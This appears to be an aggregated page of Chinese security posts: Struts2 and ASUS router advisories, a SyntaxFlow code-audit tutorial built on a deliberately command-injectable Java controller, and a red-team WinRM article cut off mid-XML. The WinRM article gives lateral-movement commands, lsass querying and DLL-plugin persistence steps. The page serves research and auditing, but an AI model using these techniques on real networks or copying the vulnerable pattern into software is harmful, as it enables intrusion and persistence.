普通视图

发现新文章,点击刷新页面。
昨天以前这里是河马

Apache Struts2 S2-059(CVE-2019-0230) RCE漏洞通告

2020年8月13日 22:11

admin河马 2020-08-13 22:11

Apache Struts2 S2-059(CVE-2019-0230) RCE漏洞通告

关于Apache Struts2

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 Struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。目前已经不是主流的Web技术,还存留在一些老旧系统中

漏洞等级

漏洞分析

如果攻击者可以设置Struts 2标签的属性值为恶意的OGNL表达式,则可能造成RCE 

影响范围

Struts 2.0.0~2.5.20

修复建议

总结

在安全漏洞这块儿Struts2和fastjson惺惺相惜(难兄难弟),一是容易出问题,二是出问题影响大,动不动就是RCE,三是牵连的业务难修复。笔者建议企业按照自己的实际情况制定计划,逐步替换,加快淘汰还在使用struts2系统。

参考

【漏洞预警】Apache Struts远程代码执行漏洞(S2-059、CVE-2019-0230)

https://cwiki.apache.org/confluence/display/WW/S2-059

https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable

https://cert.360.cn/warning/detail?id=d2b39f48fd31f3b36cc957f23d4777af

https://stackoverflow.com/questions/6134411/jstl-escaping-special-characters/6135001#6135001

关注我们

阅读原文

跳转微信打开

华硕路由器远程代码执行漏洞通告

2020年8月4日 11:43

2020-08-04 11:43

华硕路由器远程代码执行漏洞通告

## 背景
2020年08月03日,国内安全厂商极光无限发布了《漏洞公告 | 华硕(ASUS)家庭无线路由器远程代码执行0day》的风险通告。
## 风险等级
高危
## 漏洞详情
未经过身份验证的远程攻击者通过发送特制数据包到华硕路由器的WEB组件中,可以在路由器上以 ROOT(最高权限)执行任意代码。
## 影响版本

  • RT-AC68U

  • RT-AC3100

  • RT-AC88U

  • RT-AC5300

  • RT-AC3200


## 修复建议
通过禁止通过互联网访问路由器后台可以阻断远程攻击
增加WIFI密码复杂性,防止通过本地局域网攻击 
开启固件自动更新,及时安装官方最新固件
经河马安全团队分析,梅林、官改固件由于复用了官方固件部分代码,依然存在该漏洞,请用户务必慎重!
## 参考链接
漏洞公告 | 华硕(ASUS)家庭无线路由器远程代码执行0day
https://cert.360.cn/warning/detail?id=81fd25539ed87e395f360e9094196da4


## 关注我们


阅读原文

跳转微信打开

今日开奖

2020年7月29日 11:03

admin河马 2020-07-29 11:03

今日公布抽奖结果

1. 转发朋友圈送书活动中奖名单:


[1] 格日德吉
[2] 舜安-我有一头小毛驴

恭喜这两位朋友,稍后我们会在后台私信中奖的朋友,请及时回复邮寄地址


2. 提建议活动暂未收到有效建议,该活动改为长期。


附抽奖程序:


package main
import ( "bytes" "crypto/rand" "flag" "fmt" "io/ioutil" "log" "math/big")
func main() { var userfile string var max int64 flag.StringVar(&userfile, "input", "", "set input user file") flag.Int64Var(&max, "max", 1, "set max user") flag.Parse()
txt, err := ioutil.ReadFile(userfile) if err != nil { log.Println("read file", err) return } lines := bytes.Split(txt, []byte("\n")) if max >= int64(len(lines)) { log.Println("max should little than users") return } count := len(lines) var flags = make([]bool, count) var counter int64 for counter < max { n, err := rand.Int(rand.Reader, big.NewInt(int64(count)-counter)) if err != nil { log.Panic(err) } idx := n.Int64() if flags[idx] { continue } else { fmt.Printf("[%d] %v\n", counter+1, string(lines[idx])) flags[idx] = true counter++ } }}


阅读原文

跳转微信打开

一种全新的代码审计技术:SyntaxFlow

2024年6月14日 17:38

v1ll4n 2024-06-14 17:38 北京

我们希望把编译技术带入安全代码分析去分析代码行为,为代码行为分析带来新的机会和可能性

代码审计技术在过去的一段时间的发展中,似乎受到了一个魔咒,安全从业人员的很难摆脱 *QL的影响,毕竟编译成数据库,然后通过 QL 来查询。或者通过把 AST 解析进 neo4j,通过 neo4j 的 QL: Cypher 或 API 来查询。甚至于我们在不使用 *QL 式的辅助工具的时候,也会通过 IDE 的 Query(关键字查询,定义查询,文件搜索)。甚至于我们也会戏称“搜索”是“代码审计”的核心操作。现状确实是这样,但是以搜索为切入点也会遇到其他的问题:



  • 如何搜索一个变量是函数调用?

  • IDE 提供了 Control/Command + 鼠标左键点击跳转的功能,代码审计工具一般很难提供这种功能。

  • 真实的漏洞往往跨越了很多个数据流,如何在不同数据流之间搜索?


以至于在大热门 CodeQL 的使用中,大部分操作均是在“对接数据流”和定义 Sink Source 等。




“代码分析”与“数理证明“


在学术圈的代码分析技术(算法)中,我们在这里指的是(在 SMT 或者 SAT 求解器理论中)我们需要把代码问题转化成符号运算与定理证明问题。然后通过约束求解算法找到“符号解(可能无法求解)”,如果有符号解的话,把符号解转化成具体的代码位置,找到 source 和 sink 的交汇点。


这一段话非常抽象,如果阅读这个抽象描述有问题的话,可以阅读以下 ChatGPT-4 的解读。

这段话概述了使用符号执行和约束求解技术(特别是在 SMT 或 SAT 求解器上下文中)来进行代码分析的基本过程。这里提供了对这一技术的高层次描述,并说明了其在识别代码中的安全漏洞(如 source 到 sink 的数据流问题)方面的应用。以下是对这一技术描述的几个关键点的评价:

正确性和准确性

1. 化代码问题为符号运算和定理证明问题:描述准确地反映了符号执行技术的核心理念,即将程序的执行路径转化为符号路径,然后通过逻辑约束来进行推理和验证。这是静态代码分析中常见的方法,用于分析程序可能的执行行为而无需实际运行程序。

2. 使用约束求解算法找到符号解:这正确地指出了在符号执行中的一个关键步骤,即利用如 SMT (Satisfiability Modulo Theories) 或 SAT (Boolean Satisfiability Problem) 求解器来解决这些约束。如果求解器能够找到满足所有约束的解,这意味着存在一种特定的输入或程序状态,可以使程序执行到某一特定路径。

应用的实用性

3. 把符号解转化成具体的代码位置:这一步骤非常关键,因为它将抽象的符号结果转化为可以操作的具体信息。例如,在安全性分析中,这可以帮助开发者准确地定位到可能存在漏洞的代码行或路径。

4. 找到 source 和 sink 的交汇点:在安全性分析中,识别数据从潜在的不安全源(source)流向敏感汇(sink)的路径是至关重要的。这种分析可以帮助识别例如 SQL 注入、跨站脚本(XSS)等常见的安全漏洞。

技术限制

5. 可能无法求解:这一点正确地指出了符号执行和约束求解中的一个主要挑战,即在某些情况下,由于路径爆炸问题、复杂的约束或资源限制,求解器可能无法找到解或在合理时间内完成求解。

结论

这段描述提供了一个对使用符号执行和约束求解进行代码分析的有效概述。它正确地捕捉了这种技术的工作原理和在实际代码安全性分析中的应用。同时,也简要提到了在实施这种分析时可能遇到的挑战,如复杂性和求解的可行性问题。这种技术是静态代码分析领域的重要组成部分,尤其是在寻求自动化安全审计和缺陷识别方面。


诚如上面提到的关键点:

YAK


构建符号化系统的两层理解



第一层理解:这里如果你要把有语法有变量甚至有类型的代码进行符号化的话,其实听起来很没有头绪,但是这个过程有另一个接近的名字,叫“编译”,是把源码体系编译成另一种符号化的系统体系,我们可以认为这个过程是一种“符号化”。

但是既然是两层理解,第二层理解表达了完全不同的路数。如果我们得到的并不是代码,而是一个“二进制程序”,或者一段汇编代码,那么针对这一段代码,我们需要反汇编成新的符号系统(符号化 IR),这个过程有点类似例如 LLVM 做反汇编的案例。我们发现,反汇编成符号系统也能称之为符号化。

在这两层构建系统的理解中,实际上广泛被人认识的反而是第二种,“反汇编” 成某种 “IR”或者抽象一个题解公式(函数),然后进行 z3(微软出品的某一款约束求解器)求解。关于约束求解的过程,在 CTF 中有各种各样的题目为大家展示,我们就不多叙述了。

这两种理解不论是哪种都并不亲民,而且据我们所知,大部分漏洞并不需要约束求解,甚至很多就是普通的过滤,或者数据流到了危险函数中的参数了,如果有清晰的数据流可达性判断,就可以得到正确的结果,并不需求解什么内容。

因为种种主客观原因,对符号系统的约束求解来进行代码审计或者 Fuzz 并不能走入寻常百姓家,这一个部分的玩家一般来说更关注“数理”,而不关心“业务”。


“代码分析”与“图算法“


从数理证明逻辑转变到“业务”逻辑中,我们经常会听到“图”的概念,以至于大家非常乐于尝试直接使用图数据库(Neo4j)来进行代码分析。数据流可以直接变成“图”,由此衍生的图构造方法有很多,比如说关注执行逻辑的,CFG,关注数据流的 Use-Def Chain,所有都关心的 CPG。节点之海也属于这一个范畴。

在这个范畴中,数理运算变得没有那么比重大了,反而图算法(流算法)一些深度或者广度优先算法,甚至洪水算法或者或者连通性算法都直接计算可达性等关键节点关系。

听起来是不是特别完美?从代码抽象成图(或者 AST 抽象成图)的难度,总要比抽象成符号系统要容易得多。

这个结果非常重要,以至于早一开始研究这个领域的时候,我也被这个美好愿景蒙蔽了双眼。实际操作的时候,还是会有很多水土不服的地方:

  1. 可选的跨过程分析需要从某一个节点扩展出去。

  2. OOP 实现中,object.method 

    和 object 往往应该被视为有某种关联的对象。

  3. 闭包噩梦:在闭包系统中,捕获变量(逃逸变量)可能并不是单纯数据流或者图可以表达得出来的。

  4. ...


但是相对于“数理证明”式的代码分析技术来说,基于“图算法”的算法分析技术已经非常贴近我们对代码分析的理解了。


新的技术方案:SyntaxFlow


在 Yak Project 开始启动“编译原理”的研究之后,我们对代码行为有了更加深入的理解:通过 SSA 格式下的 IR 编译产物,我们可以实现更清晰的数据流认知。因此基于 SSA 格式下的 IR,我们又研发了一个新的“语言”:SyntaxFlow 来描述代码行为,搜索和查询代码行为特征。不同于 CodeQL 或者某些 Datalog 的模式,SyntaxFlow 完全不需要 Import 各种库和表来搜索运算特征。他的使用逻辑更接近于人的代码审计过程的逻辑。


YAK


1.编译SSA IR


可以从一个经典的 Java Springboot 的案例来为大家介绍这个非常震撼人心的新技术:

@Controller@RequestMapping("/home/rce")public class RuntimeExec { @RequestMapping("/runtime") public String RuntimeExec(String cmd, Model model) { StringBuilder sb = new StringBuilder(); String line;
try { Process proc = Runtime.getRuntime().exec(cmd);
InputStream fis = proc.getInputStream(); InputStreamReader isr = new InputStreamReader(fis, "GBK"); BufferedReader br = new BufferedReader(isr); while ((line = br.readLine()) != null) { sb.append(line).append(System.lineSeparator()); }
} catch (IOException e) { e.printStackTrace(); sb.append(e); } model.addAttribute("results", sb.toString()); return "basevul/rce/runtime"; }}

我们把这个文件保存在 test.java 中,展示如下的文件夹内容:

❯ tree /tmp/javatest/tmp/javatest└── a1 └── test.java
2 directories, 1 file

一般来说,我们这个文件甚至没有 package,甚至没有 import,你要问我这段代码如何审计编译?在比较新的 yak 版本中,1.3.4-beta3之后,或者本文编写的最新的主分支中。我们可以使用 yak ssa 命令把代码编译成文件,编译过程会把文件编译成 SSA 的格式,我们可以为这个编译过程设置一个项目名称,让 yaklang 把编译产物存入数据库以方便 SyntaxFlow 进行代码索引和匹配。

❯ yak ssa -t /tmp/javatest --program sf1

通过这个命令,我们把我们的程序存入数据库,编译后的程序名叫 sf1以便我们后续指定程序名进行审计。

YAK


2.编写 SyntaxFlow 审计语句


在成功把源码进行编译之后,我们如何审计上述代码?仔细观察一下,我们希望审计的最关键的点在:

7| String line; 8| 9| try { 10| Process proc = Runtime.getRuntime().exec(cmd); 11| 12| InputStream fis = proc.getInputStream(); 13| InputStreamReader isr = new InputStreamReader(fis, "GBK");

没错,在第十行有一个 Runtime.getRuntime().exec(cmd),我们一般把这个地方会作为 sink。在古早的审计工具中,我们设置 exec 的实际参数们为 sink,设置 Request 为 source,让审计框架替我们去计算 sink 到 source 的可达路径。我们在 SyntaxFlow 的技术中,审计的思路会发生变化,我们认为 exec 的参数部分是关键的数据流,所以我们要先取出来这个参数。那么怎么去编写 SyntaxFlow 规则呢?

基础概念

SyntaxFlow 是一个高级声明式的模式查询语言(Advanced Declarative Pattern Query Language)。不同于 Datalog 类或者 CodeQL,SyntaxFlow 声明的其实是某种代码特征,例如声明一个函数被调用时,声明某个参数或者全部参数,声明某一个数据流的最顶级定义(产生源),甚至于可以声明名字是 foobar 的变量有哪些。

例如针对上述的代码,如果我们想要获取,所有 getRuntime 这个函数作为某一个工具类方法的调用,就可以写查询语句为 .getRuntime()即可。

❯ yak ssa --program sf1 --sf 'getRuntime()'[INFO] 2024-06-13 15:04:18 [ssacli:86] using syntaxflow rule will skip compile[INFO] 2024-06-13 15:04:18 [ssa:38] init ssa database: /Users/v1ll4n/yakit-projects/default-yakssa.db..................[INFO] 2024-06-13 15:04:18 [ssacli:146] syntax flow query result:[INFO] 2024-06-13 15:04:18 [ssacli:148] ===================== Variable:_ ===================[INFO] 2024-06-13 15:04:18 [ssacli:174] /tmp/javatest/a1/test.java:10:35 - 10:47: getRuntime()IR: 335234: Undefined-Runtime.getRuntime(valid)() 7| String line; 8| 9| try { 10| Process proc = Runtime.getRuntime().exec(cmd); 11| 12| InputStream fis = proc.getInputStream(); 13| InputStreamReader isr = new InputStreamReader(fis, "GBK");

通过这个语句的查询,我们可以看到列出了这个地方附近几行上下文代码。

用法列表

SyntaxFlow 的查询操作有很多种,我们可以为大家建立一个表方便用户理解

操作符号

用途说明

基础用法案例

*

通用匹配

单独一个 * 表示全匹配,

*Runtime 表示结尾包含 Runtime 的所有符号或者变量或函数

identifier

按名匹配

直接写 Runtime 意思是匹配所有变量名为 Runtime 的 SSA 符号或者方法为 Runtime 的符号

/regex/

Golang风格的正则匹配

写变量名或者方法或者容器符合正则特征的所有 SSA 符号

.member

以 member 为名的成员(字段或方法都包含)

.getRuntime 表示所有成员包含 getRumtime 为名字的值

.*Runtime 和 ./.*?Runtime/正则和 Glob 匹配也是符合要求的

object.member 

限定某一个特征的成员调用

foo.bar表示寻找所有 foo 作为 object,bar 作为成员的调用情况

call()

找到函数调用的指令

getRuntime()表示所有名字为 getRuntime的符号被调用的位置。

call(*)

寻找函数调用中的参数审计位置

exec(*)意思是把 exec 所有的参数都作为审计对象,嵌套从参数开始进行审计。

call(,*,)

从第 N 个参数开始审计,需要用逗号分隔

call(,*,)表示call这个函数调用的第二个参数开始审计,从第几个逗号开始匹配说明是第几个参数。

->

下一级使用位置

获取审计对象的下一级的使用位置,一般用来做 UD 链的某个位置的下一级用户

--> 

最底级使用运算符

获取审计对象的最下级的使用位置,一般用来直接穿透 UD 链

#>

上一级定义位置

获取审计对象的上一级的定义位置,一般用来做 UD 链的某个位置的上一级定义

#->

最顶级定义位置

获取审计对象的最顶级的定义位置,一般用来直接穿透 UD 链到顶端

-{key: value}->

#{key: value}->

带参数控制的顶级底级使用

getRumtime() -{depth: 3}-> 设置一个深度为 3 的 UD 链递归向下查询。

as $variable

在语句结束后,暂时保存某一个变量为变量名

exec(* as $sink)把所有 exec 的参数保存为 $sink 变量。


实战继续

我们构建一个.getRumtime().exec(* as $params) 的语句,在执行之前,人可以解读出来,审计所有对象包含一个 getRuntime 的成员,获取他的调用指令,在寻找他的调用结果中包含 exec 的成员,再调用 exec 成员,获取 exec 这个函数中所有的参数,把这个参数保存在 $params 中,我们不执行的时候,人脑观察一下,发现这个参数其实是 cmd,cmd 的最顶级的定义是在函数中的。他是一个 “形参(形式参数)”。

接下来我们来验证结果是否符合预期:


❯ yak ssa --program sf1 --sf 'getRuntime().exec(*)'[INFO] 2024-06-13 15:28:43 [ssacli:86] using syntaxflow rule will skip compile[INFO] 2024-06-13 15:28:43 [ssa:38] init ssa database: /Users/v1ll4n/yakit-projects/default-yakssa.db...........................[INFO] 2024-06-13 15:28:43 [ssacli:146] syntax flow query result:[INFO] 2024-06-13 15:28:43 [ssacli:148] ===================== Variable:_ ===================[INFO] 2024-06-13 15:28:43 [ssacli:174] /tmp/javatest/a1/test.java:5:30 - 5:40: String cmdIR: 335223: Parameter-cmd 2| @RequestMapping("/home/rce") 3| public class RuntimeExec { 4| @RequestMapping("/runtime") 5| public String RuntimeExec(String cmd, Model model) { 6| StringBuilder sb = new StringBuilder(); 7| String line; 8|

我们发现 IR: 335223: Parameter-cmd 成功标志着我们找到了一个名为 cmd 的参数。通过上面的一个审计命令直接关联到了 cmd 的参数。

YAK


3.这是碰巧的吗?


用户可能会有点奇怪,这搜索是真的吗?这个例子也未免太简单了一点,那么我们把源码再次进行一些变形。我们去除特别明显的只通过正则就可以匹配到的特征,新增了一些变量传递的过程,那么我们还能生效吗?

public class RuntimeExec { @RequestMapping("/runtime") public String RuntimeExec(

String cmd,
Model model) { StringBuilder sb = new StringBuilder(); String line;
try { any runtimeInstance = Runtime.getRuntime(); Process proc = runtimeInstance.exec(cmd);
InputStream fis = proc.getInputStream(); InputStreamReader isr = new InputStreamReader(fis, "GBK"); BufferedReader br = new BufferedReader(isr); while ((line = br.readLine()) != null) { sb.append(line).append(System.lineSeparator()); }

我们重新编译(yak ssa -t ... --program sf3)之后直接执行上述一样的语句:

❯ yak ssa --program sf3 --sf 'getRuntime().exec(*)'[INFO] 2024-06-13 15:33:55 [ssacli:86] using syntaxflow rule will skip compile[INFO] 2024-06-13 15:33:55 [ssa:38] init ssa database: /Users/v1ll4n/yakit-projects/default-yakssa.db......[INFO] 2024-06-13 15:33:55 [ssacli:146] syntax flow query result:[INFO] 2024-06-13 15:33:55 [ssacli:148] ===================== Variable:_ ===================[INFO] 2024-06-13 15:33:55 [ssacli:174] /tmp/javatest/a1/test.java:8:2 - 8:12: String cmdIR: 335419: Parameter-cmd 5| public String RuntimeExec( 6| 7| 8| String cmd, 9| 10| Model model) { 11| StringBuilder sb = new StringBuilder();


得到了正确的结果,并且还把我修改了源码之后的原样都打印出来了,这个案例足够证明了 SyntaxFlow 是认识数据流的,而不是正则匹配实现的技术。

基于这种技术,我们审计的内容递归起来实际上无关变量,关心的是最底层的数据流流动。



未来已来


SyntaxFlow 的语法和操作序列虽然是全新的,但是他操作的底层元素基本都是我们在“编译拾遗”系列中给大家提到的内容,我们并不是多强力的概念创造者。网络和信息安全领域本质上属于计算机大类的技术分支,在计算机大类中有很多重要的基础工具技术可以解决很多问题,例如我们使用编译技术去实现常见高级语言的 SSA 化,使用精妙的递归编程去编写 Use-Def 链分析算法,使用栈型虚拟机构建分析序列的操作步骤执行。编译原理在通用编程语言的发展中已经获得了十分巨大的进步,这是一个十分完善的学科,我们希望把编译技术带入安全代码分析去分析代码行为为代码行为分析带来新的机会和可能性

在近期的更新中,我们将会加深 SyntaxFlow 和 SSA IR DB 对常见编程语言的适配,任何人都可以使用 Yak SSA 命令和 SyntaxFlow 进行体验。未来我们也将会在新的产品中展示 SyntaxFlow 的 UI。


END


  YAK官方资源 


Yak 语言官方教程:
https://yaklang.com/docs/intro/Yakit 视频教程:
https://space.bilibili.com/437503777Github下载地址:
https://github.com/yaklang/yakitYakit官网下载地址:
https://yaklang.com/Yakit安装文档:
https://yaklang.com/products/download_and_installYakit使用文档:
https://yaklang.com/products/intro/常见问题速查:
https://yaklang.com/products/FAQ

超级牛的日常碎碎念:
https://space.bilibili.com/3546645784430965?spm_id_from=333.999.0.0

长按识别添加工作人员

开启Yakit进阶之旅


深入挖掘红队实战中WinRM的使用技巧

2022年11月17日 17:34

cxjtor 2022-11-17 17:34 北京

大家好!这里是219攻防实验室!你一定没有听说过我们,因为我们刚成立不久。219攻防实验室专注于前沿攻防研究

大家好!这里是219攻防实验室!你一定没有听说过我们,因为我们刚成立不久。


219攻防实验室专注于前沿攻防研究、武器平台化、红队评估、攻防演练,虽然我们是新实验室,但我们的成员有深入操作系统多年的老牌程序员、有专注攻防领域10余年的老手、亦有攻防演练中崭露头角的新锐,我们热爱技术热爱分享,就像我们的名字一样,219 爱依旧,对技术的爱永远依旧。

在红队的内网渗透活动中经常会出现WinRM的身影,众所周知通过WinRM能够在内网执行远程命令来进行横向移动。那么WinRM是如何实现命令执行这一功能?除了远程执行命令,能否利用该协议达到更多隐蔽目的呢?
本文将从协议原理和实战技巧方面,探究WinRM的通信过程并挖掘一些新的利用方法,最后通过编写一个用于命令执行的BOF实例加深学习。

0x00 WSMan 与 WinRM

什么是WSMan?

以下定义来自 DMTF WS-MAN 和 微软 WS-Management Protocol

WSMan全称 Web Services Management,也叫WS-Man、WS-Management,是一个基于SOAP的设施管理协议的开源标准,可用于与任何实现了该协议的计算机设备交换管理数据。注意WSMan是标准定义而不是具体实现。

先介绍几个核心的概念:

  • Schema and Message

WSMan使用消息进行管理数据交换,这些消息由XML进行表示,WSMan中定义了一系列的XML Schemas用于构建消息 ,查看示例:https://www.dmtf.org/dsp/DSP8015;
  • Resource

在每一个消息中会引用要处理的目标资源(Resource),资源由一个唯一的URI来对应(Resource URI),示例:http://schemas.microsoft.com/wbem/wsman/1
  • Action

此外WSMan还为消息定义了要对引用资源进行的动作(Action),比如WinRM支持 Get、Put、Create、Delete、Enumerate等,winrs.exe就是通过创建http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd这个资源的新实例来实现命令执行。

什么是WinRM?

WinRM全称Windows Remote Management是微软对WSMan标准的实现,提供了比较丰富的资源管理功能,从Windows XP开始集成于Windows操作系统中。
下面给出一个在执winrm get winrm/config/clientWinRM客户端与服务端交互的消息,可以看到上面介绍的Resource以及Action。这个消息表示对资http://schemas.microsoft.com/wbem/wsman/1/config/client进行Get操作。

<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd"> <s:Header> <a:To> http://127.0.0.1:47001/wsman </a:To> <w:ResourceURI s:mustUnderstand="true"> http://schemas.microsoft.com/wbem/wsman/1/config/client </w:ResourceURI> <a:ReplyTo> <a:Address s:mustUnderstand="true"> http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous </a:Address> </a:ReplyTo> <a:Action s:mustUnderstand="true"> http://schemas.xmlsoap.org/ws/2004/09/transfer/Get </a:Action> ... </s:Header> ...</s:Envelope>

WinRM服务返回200响应,附带如下SOAP响应消息:

<s:Envelope ...> <s:Header> <a:Action> http://schemas.xmlsoap.org/ws/2004/09/transfer/GetResponse </a:Action> <a:MessageID> uuid:D6A2FE78-BC98-4144-BF60-E425BC57BE58 </a:MessageID> <p:OperationID s:mustUnderstand="false"> uuid:1C91B382-5E0D-4F5D-A4AE-956B5E60F88D </p:OperationID> <p:SequenceId> 1 </p:SequenceId> <a:To> http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous </a:To> <a:RelatesTo> uuid:3B8307A8-01C9-4C10-86D9-08E051E943F8 </a:RelatesTo> </s:Header> ...</s:Envelope>

再来看winrm/config/client这个URI,通过winrm命令可以查询到它是一个别名。

PS> winrm help aliaseswmi = http://schemas.microsoft.com/wbem/wsman/1/wmiwmicimv2 = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2cimv2 = http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2winrm = http://schemas.microsoft.com/wbem/wsman/1wsman = http://schemas.microsoft.com/wbem/wsman/1shell = http://schemas.microsoft.com/wbem/wsman/1/windows/shell

0x01 在Windows中使用WinRM

本小节存在大量命令行实例,如未特别指定则默认在Powershell环境下进行测试。

配置WinRM

从Windows Server 2012 R2开始,WinRM服务默认自动启动,并监听0.0.0.0:5985和127.0.0.1:47001,更老的版本需要使用命令行进行配置。

  • 使用winrm命令的quickconfig子命令快速配置winrm服务:

winrm quickconfig -q -force# -q[uiet] 安静模式,不提示确认操作# -force 已经配置过不提示确认

quickconfig主要改动的地方:

  • 配置winrm服务为自启动;

  • 启用对远程管理服务的防火墙例外;

  • 添加默认端口的监听器。

  • Powershell中也有对应的cmdlet能够进行快速配置:

Set-WSManQuickConfig -Force

  • 某些情况下也可以手动修改WinRM服务与相关注册表以及防火墙来达到和快速配置相同的目的:

# winrm服务自启动sc.exe config winrm start= auto# 添加HTTP的监听器,默认监听5985端口reg.exe add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Listener\*+HTTP /v Port /t reg_dword /d 5985 /f# 添加监听的url前缀,默认是wsmanreg.exe add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Listener\*+HTTP /v uriprefix /t reg_sz /d wsman /f# 启动服务sc.exe start winrm# 启用防火墙例外netsh advfirewall firewall set rule group="Windows 远程管理" new enable=yes

  • 客户端侧,需要配置允许连接任意远程WinRM服务,否则将无法访问任何外部WinRM服务,本文的末尾会介绍如何绕过这一限制;Powershell中实现了一个名为WSMan的驱动器,能够如同操作注册表那样访问WinRM的配置。
# 透过PowershellSet-Item WSMan:\localhost\Client\TrustedHosts * -Force# 或者winrm set winrm/config/client '@{TrustedHosts="*"}'# 或者reg.exe add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Client /v trusted_hosts /t reg_sz /d * /f# 查看配置项列表Get-ChildItem WSMan:\localhost# 修改配置Set-Item WSMan:\localhost\Client\TrustedHosts * -Force# 读取配置,可用TAB键自动补全Get-Item WSMan:\localhost\Client\TrustedHosts

连接远程Powershell会话

WinRM实现WSMan的规范并扩展增强了部分的管理能力,通过WinRM能够连接到交互式的Powershell,支持断开重连,相当于是Windows版本的ssh。在Powershell中使用WinRM:

# 创建会话New-PSSession -ComputerName 10.1.1.1 -Port 5985 -Name NicheSess# 从远端获取一个已有的会话Get-PSSession -ComputerName 10.1.1.1 -Port 5985# 进入会话,会话中exit退出后可通过此方式再次进入Enter-PSSession (Get-PSSession -ComputerName 10.1.1.1)Enter-PSSession -Name NicheSess# 通过GUID获取缓存会话Get-PSSession -InstanceId 'a7be4d04-d1d6-4ba7-b6b4-10b7bed6b5df'# 通过名称获取缓存会话Get-PSSession -Name NicheSess

执行命令

winrs.exe底层使用资源:http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd

winrs.exe -r:127.0.0.1:47001 -u:Administrator -p:wkpass@321 -nop# -nop指定不加载目标用户的配置文件,建议渗透时使用此选项# 指定-un可使流量不加密,方便调试

访问WMI

推荐在WinRM可用时使用WinRM替代WMI来规避WMI的流量特征,由于远程WMI使用RPC作为底层协议,从流量层面来看会更加敏感一些,而WinRM的http(s)流量通过可配置url前缀、端口号更能达到隐蔽效果。这里给出两种WinRM访问WMI的方法:
  • winrm命令中使用enum枚举WMI对象,并使用invoke子命令调用对象上的方法:

# 获取进程列表winrm enum wmicimv2/Win32_Process# 创建进程winrm invoke create wmicimv2/Win32_Process '@{CommandLine="calc.exe"}'# 获取共享列表winrm enum wmicimv2/Win32_Share# 添加共享winrm invoke create wmicimv2/Win32_Share '@{Path="D:\Test";Name="ddd";Type="0"}'# 查询WQLwinrm enum wmicimv2/* -filter:'select * from Win32_Process where Name="CalculatorApp.exe"'
  • Powershell使用-Filter参数枚举WMI对象:

# 查询 lsass.exe 进程Get-WSManInstance -ComputerName 10.1.1.60 -Filter 'select Processid,commandline from Win32_Process where caption="lsass.exe"' -Enumerate -ResourceURI wmicimv2/*

0x02 WinRM插件

https://learn.microsoft.com/en-us/windows/win32/winrm/winrm-plugin-api

WinRM提供了插件机制,可加载native的dll作为插件来扩展WinRM的能力,用户注册自己的插件到WinRM以提供自定义资源。
WinRM把许多原生功能作为插件加载,比如前面用到的shell、powershell、wmi,通过reg query查询所有已注册插件:

PS> reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Plugin
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Plugin\Event Forwarding PluginHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Plugin\Microsoft.PowerShellHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Plugin\WMI Provider...PS> reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Plugin\Microsoft.PowerShellConfigXML REG_SZ <PlugInConfiguration...

插件运行在与WinRM服务独立的进程wsmprovhost.exe中,如果为插件开启了进程共享,那么多个插件将运行在同一进程。
查看插件配置:

PS> ls WSMan:\localhost\Plugin\microsoft.powershell\WSManConfig:Microsoft.WSMan.Management\WSMan::localhost\Plugin\microsoft.powershell
Type Name SourceOfValue Value---- ---- ------------- -----System.String xmlns http://schemas.microsoft.com/wbem/wsman/1/config/Plug...System.String   Name                                          microsoft.powershellSystem.String   Filename                                      %windir%\system32\pwrshplugin.dllSystem.String   Enabled                                       trueSystem.String   Architecture                                  64System.String   UseSharedProcess                              falseSystem.String   ProcessIdleTimeoutSec                         0System.String AutoRestart false

利用场景

在渗透活动中,如果已经获取了主机的管理权限,那么可以注册自己的插件来实现权限维持,还可以将原生的插件(比如pwrshplugin.dll)替换为红队的恶意DLL文件,当管理员或者自动化程序通过WinRM连接时,达到自启动的目的。

一个简单的插件

// 包含必要头文件#define WSMAN_API_VERSION_1_0#include <wsman.h>
// 当客户端对资源调用Get操作时会调用服务端的WSManProvGet函数extern "C" __declspec(dllexport) void WSManProvGet(WSMAN_PLUGIN_REQUEST * request){ WSMAN_DATA data; data.type = WSMAN_DATA_TYPE_TEXT; // 输出格式为XML,真的是很麻烦啊~ data.text.buffer = L"<test:Test xmlns:test=\"http://schemas.evilcorp.com/test/Test\">\n" "<Title>Test WinRMPlugin</Title>\n" "<Username>Jonathan</Username>\n" "<Message>Hello!</Message>\n" "</test:Test>"; data.text.bufferLength = 163; // 输出结果 WSManPluginObjectResult(request, 0, &data); // 完成当前Get操作 WSManPluginOperationComplete(request, 0, 0, nullptr);}

编译为DLL放到C:\Program Files\winrmplug.dll注意:编译需要链接WSMSVC.lib,否则会报错找不到符号。

注册插件

插件注册需要用到一个XML,这个XML中包含了WinRM服务需要的所有插件配置信息:

<PlugInConfiguration xmlns="http://schemas.microsoft.com/wbem/wsman/1/config/PluginConfiguration" Name="Test" Filename="C:\Program Files\winrmplug.dll" SDKVersion="1" XmlRenderingType="text" Architecture="64" UseSharedProcess="true" Enabled="true"> <!-- 初始化参数,直接会传递给WSManPluginStartup函数的第三个参数extraInfo --> <InitializationParameters> </InitializationParameters>
